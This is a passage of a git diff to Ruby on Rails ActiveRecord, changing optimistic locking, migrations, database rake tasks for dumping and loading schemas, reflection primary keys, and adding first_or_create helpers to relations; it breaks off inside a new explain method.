+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -37,6 +37,9 @@ module ActiveRecord
# You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
# or otherwise apply the business logic needed to resolve the conflict.
#
+ # This locking mechanism will function inside a single Ruby process. To make it work across all
+ # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form.
+ #
# You must ensure that your database schema defaults the +lock_version+ column to 0.
#
# This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
@@ -48,10 +51,6 @@ module ActiveRecord
included do
cattr_accessor :lock_optimistically, :instance_writer => false
self.lock_optimistically = true
-
- class << self
- alias_method :locking_column=, :set_locking_column
- end
end
def locking_enabled? #:nodoc:
@@ -70,7 +69,7 @@ module ActiveRecord
# If the locking column has no default value set,
# start the lock version at zero. Note we can't use
- # <tt>locking_enabled?</tt> at this point as
+ # <tt>locking_enabled?</tt> at this point as
# <tt>@attributes</tt> may not have been initialized yet.
if result.key?(self.class.locking_column) && lock_optimistically
@@ -100,10 +99,10 @@ module ActiveRecord
)
).arel.compile_update(arel_attributes_values(false, false, attribute_names))
- affected_rows = connection.update stmt.to_sql
+ affected_rows = connection.update stmt
unless affected_rows == 1
- raise ActiveRecord::StaleObjectError, "Attempted to update a stale object: #{self.class.name}"
+ raise ActiveRecord::StaleObjectError.new(self, "update")
end
affected_rows
@@ -127,7 +126,7 @@ module ActiveRecord
affected_rows = self.class.unscoped.where(predicate).delete_all
unless affected_rows == 1
- raise ActiveRecord::StaleObjectError, "Attempted to delete a stale object: #{self.class.name}"
+ raise ActiveRecord::StaleObjectError.new(self, "destroy")
end
end
@@ -145,15 +144,24 @@ module ActiveRecord
lock_optimistically && columns_hash[locking_column]
end
+ def locking_column=(value)
+ @original_locking_column = @locking_column if defined?(@locking_column)
+ @locking_column = value.to_s
+ end
+
# Set the column to use for optimistic locking. Defaults to +lock_version+.
def set_locking_column(value = nil, &block)
- define_attr_method :locking_column, value, &block
- value
+ deprecated_property_setter :locking_column, value, block
end
# The version column used for optimistic locking. Defaults to +lock_version+.
def locking_column
- reset_locking_column
+ reset_locking_column unless defined?(@locking_column)
+ @locking_column
+ end
+
+ def original_locking_column #:nodoc:
+ deprecated_original_property_getter :locking_column
end
# Quote the column name used for optimistic locking.
@@ -163,7 +171,7 @@ module ActiveRecord
# Reset the column used for optimistic locking back to the +lock_version+ default.
def reset_locking_column
- set_locking_column DEFAULT_LOCKING_COLUMN
+ self.locking_column = DEFAULT_LOCKING_COLUMN
end
# Make sure the lock version column gets updated when counters are
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index 507f345ef5..d70c7d1d34 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -112,12 +112,13 @@ module ActiveRecord
# a column but keeps the type and content.
# * <tt>change_column(table_name, column_name, type, options)</tt>: Changes
# the column to a different type using the same parameters as add_column.
- # * <tt>remove_column(table_name, column_name)</tt>: Removes the column named
- # +column_name+ from the table called +table_name+.
+ # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
+ # +column_names+ from the table called +table_name+.
# * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
# with the name of the column. Other options include
- # <tt>:name</tt> and <tt>:unique</tt> (e.g.
- # <tt>{ :name => "users_name_index", :unique => true }</tt>).
+ # <tt>:name</tt>, <tt>:unique</tt> (e.g.
+ # <tt>{ :name => "users_name_index", :unique => true }</tt>) and <tt>:order</tt>
+ # (e.g. { :order => {:name => :desc} }</tt>).
# * <tt>remove_index(table_name, :column => column_name)</tt>: Removes the index
# specified by +column_name+.
# * <tt>remove_index(table_name, :name => index_name)</tt>: Removes the index
@@ -332,6 +333,10 @@ module ActiveRecord
(delegate || superclass.delegate).send(name, *args, &block)
end
+ def self.migrate(direction)
+ new.migrate direction
+ end
+
cattr_accessor :verbose
attr_accessor :name, :version
@@ -559,7 +564,7 @@ module ActiveRecord
def get_all_versions
table = Arel::Table.new(schema_migrations_table_name)
- Base.connection.select_values(table.project(table['version']).to_sql).map{ |v| v.to_i }.sort
+ Base.connection.select_values(table.project(table['version'])).map{ |v| v.to_i }.sort
end
def current_version
@@ -716,11 +721,11 @@ module ActiveRecord
if down?
@migrated_versions.delete(version)
stmt = table.where(table["version"].eq(version.to_s)).compile_delete
- Base.connection.delete stmt.to_sql
+ Base.connection.delete stmt
else
@migrated_versions.push(version).sort!
stmt = table.compile_insert table["version"] => version.to_s
- Base.connection.insert stmt.to_sql
+ Base.connection.insert stmt
end
end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 2eeff7e36f..ffee5a081a 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -71,7 +71,7 @@ module ActiveRecord
end
def invert_rename_index(args)
- [:rename_index, args.reverse]
+ [:rename_index, [args.first] + args.last(2).reverse]
end
def invert_rename_column(args)
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index 2dbebfcaf8..d2065d701f 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -220,7 +220,7 @@ module ActiveRecord
# validates_presence_of :member
# end
module ClassMethods
- REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |_, value| value.blank? } }
+ REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == '_destroy' || value.blank? } }
# Defines an attributes writer for the specified association(s). If you
# are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you
@@ -239,7 +239,8 @@ module ActiveRecord
# is specified, a record will be built for all attribute hashes that
# do not have a <tt>_destroy</tt> value that evaluates to true.
# Passing <tt>:all_blank</tt> instead of a Proc will create a proc
- # that will reject a record where all the attributes are blank.
+ # that will reject a record where all the attributes are blank excluding
+ # any value for _destroy.
# [:limit]
# Allows you to specify the maximum number of the associated records that
# can be processed with the nested attributes. If the size of the
diff --git a/activerecord/lib/active_record/observer.rb b/activerecord/lib/active_record/observer.rb
index 5a5351b517..fdf17c003c 100644
--- a/activerecord/lib/active_record/observer.rb
+++ b/activerecord/lib/active_record/observer.rb
@@ -111,7 +111,7 @@ module ActiveRecord
callback_meth = :"_notify_#{observer_name}_for_#{callback}"
unless klass.respond_to?(callback_meth)
klass.send(:define_method, callback_meth) do |&block|
- observer.send(callback, self, &block)
+ observer.update(callback, self, &block)
end
klass.send(callback, callback_meth)
end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index ebda3875cd..f047a1d9fa 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -114,6 +114,7 @@ module ActiveRecord
became.instance_variable_set("@attributes_cache", @attributes_cache)
became.instance_variable_set("@new_record", new_record?)
became.instance_variable_set("@destroyed", destroyed?)
+ became.instance_variable_set("@errors", errors)
became.type = klass.name unless self.class.descends_from_active_record?
became
end
@@ -304,7 +305,7 @@ module ActiveRecord
return 0 if attributes_with_values.empty?
klass = self.class
stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id)).arel.compile_update(attributes_with_values)
- klass.connection.update stmt.to_sql
+ klass.connection.update stmt
end
# Creates a record with values matching those of the instance attributes
@@ -314,7 +315,7 @@ module ActiveRecord
new_id = self.class.unscoped.insert attributes_values
- self.id ||= new_id
+ self.id ||= new_id if self.class.primary_key
IdentityMap.add(self) if IdentityMap.enabled?
@new_record = false
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
index e485901440..466d148901 100644
--- a/activerecord/lib/active_record/query_cache.rb
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -28,9 +28,10 @@ module ActiveRecord
end
class BodyProxy # :nodoc:
- def initialize(original_cache_value, target)
+ def initialize(original_cache_value, target, connection_id)
@original_cache_value = original_cache_value
@target = target
+ @connection_id = connection_id
end
def method_missing(method_sym, *arguments, &block)
@@ -48,6 +49,7 @@ module ActiveRecord
def close
@target.close if @target.respond_to?(:close)
ensure
+ ActiveRecord::Base.connection_id = @connection_id
ActiveRecord::Base.connection.clear_query_cache
unless @original_cache_value
ActiveRecord::Base.connection.disable_query_cache!
@@ -60,7 +62,13 @@ module ActiveRecord
ActiveRecord::Base.connection.enable_query_cache!
status, headers, body = @app.call(env)
- [status, headers, BodyProxy.new(old, body)]
+ [status, headers, BodyProxy.new(old, body, ActiveRecord::Base.connection_id)]
+ rescue Exception => e
+ ActiveRecord::Base.connection.clear_query_cache
+ unless old
+ ActiveRecord::Base.connection.disable_query_cache!
+ end
+ raise e
end
end
end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 0ee7e20cf1..abd71793fd 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -1,8 +1,8 @@
require 'active_support/core_ext/object/inclusion'
+require 'active_record'
db_namespace = namespace :db do
task :load_config => :rails_env do
- require 'active_record'
ActiveRecord::Base.configurations = Rails.application.config.database_configuration
ActiveRecord::Migrator.migrations_paths = Rails.application.paths['db/migrate'].to_a
@@ -37,11 +37,7 @@ db_namespace = namespace :db do
desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
task :create => :load_config do
- # Make the test database at the same time as the development one, if it exists
- if Rails.env.development? && ActiveRecord::Base.configurations['test']
- create_database(ActiveRecord::Base.configurations['test'])
- end
- create_database(ActiveRecord::Base.configurations[Rails.env])
+ configs_for_environment.each { |config| create_database(config) }
end
def mysql_creation_options(config)
@@ -94,7 +90,7 @@ db_namespace = namespace :db do
"IDENTIFIED BY '#{config['password']}' WITH GRANT OPTION;"
ActiveRecord::Base.establish_connection(config.merge(
'database' => nil, 'username' => 'root', 'password' => root_password))
- ActiveRecord::Base.connection.create_database(config['database'], creation_options)
+ ActiveRecord::Base.connection.create_database(config['database'], mysql_creation_options(config))
ActiveRecord::Base.connection.execute grant_statement
ActiveRecord::Base.establish_connection(config)
else
@@ -138,12 +134,7 @@ db_namespace = namespace :db do
desc 'Drops the database for the current Rails.env (use db:drop:all to drop all databases)'
task :drop => :load_config do
- config = ActiveRecord::Base.configurations[Rails.env || 'development']
- begin
- drop_database(config)
- rescue Exception => e
- $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}"
- end
+ configs_for_environment.each { |config| drop_database_and_rescue(config) }
end
def local_database?(config, &block)
@@ -159,7 +150,16 @@ db_namespace = namespace :db do
task :migrate => [:environment, :load_config] do
ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
- db_namespace["schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+ db_namespace['_dump'].invoke
+ end
+
+ task :_dump do
+ case ActiveRecord::Base.schema_format
+ when :ruby then db_namespace["schema:dump"].invoke
+ when :sql then db_namespace["structure:dump"].invoke
+ else
+ raise "unknown schema format #{ActiveRecord::Base.schema_format}"
+ end
end
namespace :migrate do
@@ -182,7 +182,7 @@ db_namespace = namespace :db do
version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
raise 'VERSION is required' unless version
ActiveRecord::Migrator.run(:up, ActiveRecord::Migrator.migrations_paths, version)
- db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+ db_namespace['_dump'].invoke
end
# desc 'Runs the "down" for a given migration VERSION.'
@@ -190,7 +190,7 @@ db_namespace = namespace :db do
version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
raise 'VERSION is required' unless version
ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
- db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+ db_namespace['_dump'].invoke
end
desc 'Display status of migrations'
@@ -203,11 +203,13 @@ db_namespace = namespace :db do
end
db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}")
file_list = []
- Dir.foreach(File.join(Rails.root, 'db', 'migrate')) do |file|
- # only files matching "20091231235959_some_name.rb" pattern
- if match_data = /^(\d{14})_(.+)\.rb$/.match(file)
- status = db_list.delete(match_data[1]) ? 'up' : 'down'
- file_list << [status, match_data[1], match_data[2].humanize]
+ ActiveRecord::Migrator.migrations_paths.each do |path|
+ Dir.foreach(path) do |file|
+ # only files matching "20091231235959_some_name.rb" pattern
+ if match_data = /^(\d{14})_(.+)\.rb$/.match(file)
+ status = db_list.delete(match_data[1]) ? 'up' : 'down'
+ file_list << [status, match_data[1], match_data[2].humanize]
+ end
end
end
db_list.map! do |version|
@@ -228,18 +230,21 @@ db_namespace = namespace :db do
task :rollback => [:environment, :load_config] do
step = ENV['STEP'] ? ENV['STEP'].to_i : 1
ActiveRecord::Migrator.rollback(ActiveRecord::Migrator.migrations_paths, step)
- db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+ db_namespace['_dump'].invoke
end
# desc 'Pushes the schema to the next version (specify steps w/ STEP=n).'
task :forward => [:environment, :load_config] do
step = ENV['STEP'] ? ENV['STEP'].to_i : 1
ActiveRecord::Migrator.forward(ActiveRecord::Migrator.migrations_paths, step)
- db_namespace['schema:dump'].invoke if ActiveRecord::Base.schema_format == :ruby
+ db_namespace['_dump'].invoke
end
# desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
- task :reset => [ 'db:drop', 'db:setup' ]
+ task :reset => :environment do
+ db_namespace["drop"].invoke
+ db_namespace["setup"].invoke
+ end
# desc "Retrieves the charset for the current environment's database"
task :charset => :environment do
@@ -278,24 +283,23 @@ db_namespace = namespace :db do
# desc "Raises an error if there are pending migrations"
task :abort_if_pending_migrations => :environment do
- if defined? ActiveRecord
- pending_migrations = ActiveRecord::Migrator.new(:up, ActiveRecord::Migrator.migrations_paths).pending_migrations
+ pending_migrations = ActiveRecord::Migrator.new(:up, ActiveRecord::Migrator.migrations_paths).pending_migrations
- if pending_migrations.any?
- puts "You have #{pending_migrations.size} pending migrations:"
- pending_migrations.each do |pending_migration|
- puts ' %4d %s' % [pending_migration.version, pending_migration.name]
- end
- abort %{Run "rake db:migrate" to update your database then try again.}
+ if pending_migrations.any?
+ puts "You have #{pending_migrations.size} pending migrations:"
+ pending_migrations.each do |pending_migration|
+ puts ' %4d %s' % [pending_migration.version, pending_migration.name]
end
+ abort %{Run `rake db:migrate` to update your database then try again.}
end
end
desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
- task :setup => [ 'db:create', 'db:schema:load', 'db:seed' ]
+ task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
desc 'Load the seed data from db/seeds.rb'
- task :seed => 'db:abort_if_pending_migrations' do
+ task :seed do
+ db_namespace['abort_if_pending_migrations'].invoke
Rails.application.load_seed
end
@@ -339,9 +343,10 @@ db_namespace = namespace :db do
namespace :schema do
desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR'
- task :dump => :load_config do
+ task :dump => [:environment, :load_config] do
require 'active_record/schema_dumper'
- File.open(ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb", "w") do |file|
+ filename = ENV['SCHEMA'] || "#{Rails.root}/db/schema.rb"
+ File.open(filename, "w:utf-8") do |file|
ActiveRecord::Base.establish_connection(Rails.env)
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
end
@@ -354,9 +359,13 @@ db_namespace = namespace :db do
if File.exists?(file)
load(file)
else
- abort %{#{file} doesn't exist yet. Run "rake db:migrate" to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded}
+ abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded}
end
end
+
+ task :load_if_ruby => 'db:create' do
+ db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
+ end
end
namespace :structure do
@@ -366,81 +375,94 @@ db_namespace = namespace :db do
case abcs[Rails.env]['adapter']
when /mysql/, 'oci', 'oracle'
ActiveRecord::Base.establish_connection(abcs[Rails.env])
- File.open("#{Rails.root}/db/#{Rails.env}_structure.sql", "w+") { |f| f << ActiveRecord::Base.connection.structure_dump }
+ File.open("#{Rails.root}/db/structure.sql", "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
when /postgresql/
- ENV['PGHOST'] = abcs[Rails.env]['host'] if abcs[Rails.env]['host']
- ENV['PGPORT'] = abcs[Rails.env]["port"].to_s if abcs[Rails.env]['port']
- ENV['PGPASSWORD'] = abcs[Rails.env]['password'].to_s if abcs[Rails.env]['password']
+ set_psql_env(abcs[Rails.env])
search_path = abcs[Rails.env]['schema_search_path']
unless search_path.blank?
search_path = search_path.split(",").map{|search_path_part| "--schema=#{search_path_part.strip}" }.join(" ")
end
- `pg_dump -i -U "#{abcs[Rails.env]['username']}" -s -x -O -f db/#{Rails.env}_structure.sql #{search_path} #{abcs[Rails.env]['database']}`
+ `pg_dump -i -s -x -O -f db/structure.sql #{search_path} #{abcs[Rails.env]['database']}`
raise 'Error dumping database' if $?.exitstatus == 1
when /sqlite/
- dbfile = abcs[Rails.env]['database'] || abcs[Rails.env]['dbfile']
- `sqlite3 #{dbfile} .schema > db/#{Rails.env}_structure.sql`
+ dbfile = abcs[Rails.env]['database']
+ `sqlite3 #{dbfile} .schema > db/structure.sql`
when 'sqlserver'
- `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f db\\#{Rails.env}_structure.sql -A -U`
+ `smoscript -s #{abcs[Rails.env]['host']} -d #{abcs[Rails.env]['database']} -u #{abcs[Rails.env]['username']} -p #{abcs[Rails.env]['password']} -f db\\structure.sql -A -U`
when "firebird"
set_firebird_env(abcs[Rails.env])
db_string = firebird_db_string(abcs[Rails.env])
- sh "isql -a #{db_string} > #{Rails.root}/db/#{Rails.env}_structure.sql"
+ sh "isql -a #{db_string} > #{Rails.root}/db/structure.sql"
else
raise "Task not supported by '#{abcs[Rails.env]["adapter"]}'"
end
if ActiveRecord::Base.connection.supports_migrations?
- File.open("#{Rails.root}/db/#{Rails.env}_structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
+ File.open("#{Rails.root}/db/structure.sql", "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information }
end
end
- end
- namespace :test do
- # desc "Recreate the test database from the current schema.rb"
- task :load => 'db:test:purge' do
- ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
- ActiveRecord::Schema.verbose = false
- db_namespace['schema:load'].invoke
- end
+ # desc "Recreate the databases from the structure.sql file"
+ task :load => [:environment, :load_config] do
+ env = ENV['RAILS_ENV'] || 'test'
- # desc "Recreate the test database from the current environment's database schema"
- task :clone => %w(db:schema:dump db:test:load)
-
- # desc "Recreate the test databases from the development structure"
- task :clone_structure => [ 'db:structure:dump', 'db:test:purge' ] do
abcs = ActiveRecord::Base.configurations
- case abcs['test']['adapter']
+ case abcs[env]['adapter']
when /mysql/
- ActiveRecord::Base.establish_connection(:test)
+ ActiveRecord::Base.establish_connection(abcs[env])
ActiveRecord::Base.connection.execute('SET foreign_key_checks = 0')
- IO.readlines("#{Rails.root}/db/#{Rails.env}_structure.sql").join.split("\n\n").each do |table|
+ IO.read("#{Rails.root}/db/structure.sql").split("\n\n").each do |table|
ActiveRecord::Base.connection.execute(table)
end
when /postgresql/
- ENV['PGHOST'] = abcs['test']['host'] if abcs['test']['host']
- ENV['PGPORT'] = abcs['test']['port'].to_s if abcs['test']['port']
- ENV['PGPASSWORD'] = abcs['test']['password'].to_s if abcs['test']['password']
- `psql -U "#{abcs['test']['username']}" -f #{Rails.root}/db/#{Rails.env}_structure.sql #{abcs['test']['database']} #{abcs['test']['template']}`
+ set_psql_env(abcs[env])
+ `psql -f "#{Rails.root}/db/structure.sql" #{abcs[env]['database']} #{abcs[env]['template']}`
when /sqlite/
- dbfile = abcs['test']['database'] || abcs['test']['dbfile']
- `sqlite3 #{dbfile} < #{Rails.root}/db/#{Rails.env}_structure.sql`
+ dbfile = abcs[env]['database']
+ `sqlite3 #{dbfile} < "#{Rails.root}/db/structure.sql"`
when 'sqlserver'
- `sqlcmd -S #{abcs['test']['host']} -d #{abcs['test']['database']} -U #{abcs['test']['username']} -P #{abcs['test']['password']} -i db\\#{Rails.env}_structure.sql`
+ `sqlcmd -S #{abcs[env]['host']} -d #{abcs[env]['database']} -U #{abcs[env]['username']} -P #{abcs[env]['password']} -i db\\structure.sql`
when 'oci', 'oracle'
- ActiveRecord::Base.establish_connection(:test)
- IO.readlines("#{Rails.root}/db/#{Rails.env}_structure.sql").join.split(";\n\n").each do |ddl|
+ ActiveRecord::Base.establish_connection(abcs[env])
+ IO.read("#{Rails.root}/db/structure.sql").split(";\n\n").each do |ddl|
ActiveRecord::Base.connection.execute(ddl)
end
when 'firebird'
- set_firebird_env(abcs['test'])
- db_string = firebird_db_string(abcs['test'])
- sh "isql -i #{Rails.root}/db/#{Rails.env}_structure.sql #{db_string}"
+ set_firebird_env(abcs[env])
+ db_string = firebird_db_string(abcs[env])
+ sh "isql -i #{Rails.root}/db/structure.sql #{db_string}"
else
- raise "Task not supported by '#{abcs['test']['adapter']}'"
+ raise "Task not supported by '#{abcs[env]['adapter']}'"
end
end
+ task :load_if_sql => 'db:create' do
+ db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+ end
+ end
+
+ namespace :test do
+ # desc "Recreate the test database from the current schema.rb"
+ task :load => 'db:test:purge' do
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
+ ActiveRecord::Schema.verbose = false
+ db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
+
+ begin
+ old_env, ENV['RAILS_ENV'] = ENV['RAILS_ENV'], 'test'
+ db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+ ensure
+ ENV['RAILS_ENV'] = old_env
+ end
+
+ end
+
+ # desc "Recreate the test database from the current environment's database schema"
+ task :clone => %w(db:schema:dump db:test:load)
+
+ # desc "Recreate the test databases from the structure.sql file"
+ task :clone_structure => [ "db:structure:dump", "db:test:load" ]
+
# desc "Empty the test database"
task :purge => :environment do
abcs = ActiveRecord::Base.configurations
@@ -453,7 +475,7 @@ db_namespace = namespace :db do
drop_database(abcs['test'])
create_database(abcs['test'])
when /sqlite/
- dbfile = abcs['test']['database'] || abcs['test']['dbfile']
+ dbfile = abcs['test']['database']
File.delete(dbfile) if File.exist?(dbfile)
when 'sqlserver'
test = abcs.deep_dup['test']
@@ -476,7 +498,7 @@ db_namespace = namespace :db do
# desc 'Check for pending migrations and load the test schema'
task :prepare => 'db:abort_if_pending_migrations' do
- if defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+ unless ActiveRecord::Base.configurations.blank?
db_namespace[{ :sql => 'test:clone_structure', :ruby => 'test:load' }[ActiveRecord::Base.schema_format]].invoke
end
end
@@ -545,6 +567,20 @@ def drop_database(config)
end
end
+def drop_database_and_rescue(config)
+ begin
+ drop_database(config)
+ rescue Exception => e
+ $stderr.puts "Couldn't drop #{config['database']} : #{e.inspect}"
+ end
+end
+
+def configs_for_environment
+ environments = [Rails.env]
+ environments << 'test' if Rails.env.development?
+ ActiveRecord::Base.configurations.values_at(*environments).compact.reject { |config| config['database'].blank? }
+end
+
def session_table_name
ActiveRecord::SessionStore::Session.table_name
end
@@ -557,3 +593,10 @@ end
def firebird_db_string(config)
FireRuby::Database.db_string_for(config.symbolize_keys)
end
+
+def set_psql_env(config)
+ ENV['PGHOST'] = config['host'] if config['host']
+ ENV['PGPORT'] = config['port'].to_s if config['port']
+ ENV['PGPASSWORD'] = config['password'].to_s if config['password']
+ ENV['PGUSER'] = config['username'].to_s if config['username']
+end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index a2324039cf..52968070cb 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -124,7 +124,7 @@ module ActiveRecord
# <tt>composed_of :balance, :class_name => 'Money'</tt> returns <tt>'Money'</tt>
# <tt>has_many :clients</tt> returns <tt>'Client'</tt>
def class_name
- @class_name ||= options[:class_name] || derive_class_name
+ @class_name ||= (options[:class_name] || derive_class_name).to_s
end
# Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
@@ -211,22 +211,20 @@ module ActiveRecord
@association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
end
- def association_primary_key
- @association_primary_key ||=
- options[:primary_key] ||
- !options[:polymorphic] && klass.primary_key ||
- 'id'
+ # klass option is necessary to support loading polymorphic associations
+ def association_primary_key(klass = nil)
+ options[:primary_key] || primary_key(klass || self.klass)
end
def active_record_primary_key
- @active_record_primary_key ||= options[:primary_key] || active_record.primary_key
+ @active_record_primary_key ||= options[:primary_key] || primary_key(active_record)
end
def counter_cache_column
if options[:counter_cache] == true
"#{active_record.name.demodulize.underscore.pluralize}_count"
elsif options[:counter_cache]
- options[:counter_cache]
+ options[:counter_cache].to_s
end
end
@@ -359,6 +357,10 @@ module ActiveRecord
active_record.name.foreign_key
end
end
+
+ def primary_key(klass)
+ klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+ end
end
# Holds all the meta-data about a :through association as it was specified
@@ -431,7 +433,7 @@ module ActiveRecord
# of relevant reflections, plus any :source_type or polymorphic :as constraints.
def conditions
@conditions ||= begin
- conditions = source_reflection.conditions
+ conditions = source_reflection.conditions.map { |c| c.dup }
# Add to it the conditions from this reflection if necessary.
conditions.first << options[:conditions] if options[:conditions]
@@ -463,17 +465,15 @@ module ActiveRecord
# We want to use the klass from this reflection, rather than just delegate straight to
# the source_reflection, because the source_reflection may be polymorphic. We still
# need to respect the source_reflection's :primary_key option, though.
- def association_primary_key
- @association_primary_key ||= begin
- # Get the "actual" source reflection if the immediate source reflection has a
- # source reflection itself
- source_reflection = self.source_reflection
- while source_reflection.source_reflection
- source_reflection = source_reflection.source_reflection
- end
-
- source_reflection.options[:primary_key] || klass.primary_key
+ def association_primary_key(klass = nil)
+ # Get the "actual" source reflection if the immediate source reflection has a
+ # source reflection itself
+ source_reflection = self.source_reflection
+ while source_reflection.source_reflection
+ source_reflection = source_reflection.source_reflection
end
+
+ source_reflection.options[:primary_key] || primary_key(klass || self.klass)
end
# Gets an array of possible <tt>:through</tt> source reflection names:
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index fff0ad1b83..0c32ad5139 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,3 +1,4 @@
+# -*- coding: utf-8 -*-
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/module/delegation'
@@ -7,7 +8,7 @@ module ActiveRecord
JoinOperation = Struct.new(:relation, :join_class, :on)
ASSOCIATION_METHODS = [:includes, :eager_load, :preload]
MULTI_VALUE_METHODS = [:select, :group, :order, :joins, :where, :having, :bind]
- SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order]
+ SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reorder, :reverse_order, :uniq]
include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches
@@ -68,7 +69,7 @@ module ActiveRecord
end
conn.insert(
- im.to_sql,
+ im,
'SQL',
primary_key,
primary_key_value,
@@ -94,6 +95,48 @@ module ActiveRecord
scoping { @klass.create!(*args, &block) }
end
+ # Tries to load the first record; if it fails, then <tt>create</tt> is called with the same arguments as this method.
+ #
+ # Expects arguments in the same format as <tt>Base.create</tt>.
+ #
+ # ==== Examples
+ # # Find the first user named Penélope or create a new one.
+ # User.where(:first_name => 'Penélope').first_or_create
+ # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ #
+ # # Find the first user named Penélope or create a new one.
+ # # We already have one so the existing record will be returned.
+ # User.where(:first_name => 'Penélope').first_or_create
+ # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ #
+ # # Find the first user named Scarlett or create a new one with a particular last name.
+ # User.where(:first_name => 'Scarlett').first_or_create(:last_name => 'Johansson')
+ # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ #
+ # # Find the first user named Scarlett or create a new one with a different last name.
+ # # We already have one so the existing record will be returned.
+ # User.where(:first_name => 'Scarlett').first_or_create do |user|
+ # user.last_name = "O'Hara"
+ # end
+ # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ def first_or_create(attributes = nil, options = {}, &block)
+ first || create(attributes, options, &block)
+ end
+
+ # Like <tt>first_or_create</tt> but calls <tt>create!</tt> so an exception is raised if the created record is invalid.
+ #
+ # Expects arguments in the same format as <tt>Base.create!</tt>.
+ def first_or_create!(attributes = nil, options = {}, &block)
+ first || create!(attributes, options, &block)
+ end
+
+ # Like <tt>first_or_create</tt> but calls <tt>new</tt> instead of <tt>create</tt>.
+ #
+ # Expects arguments in the same format as <tt>Base.new</tt>.
+ def first_or_initialize(attributes = nil, options = {}, &block)
+ first || new(attributes, options, &block)
+ end
+
def respond_to?(method, include_private = false)
arel.respond_to?(method, include_private) ||
Array.method_defined?(method) ||
@@ -101,6 +144,22 @@ module ActiveRecord
super
end
+ def explain
+ queries = []
+ callback = lambda do |*args|
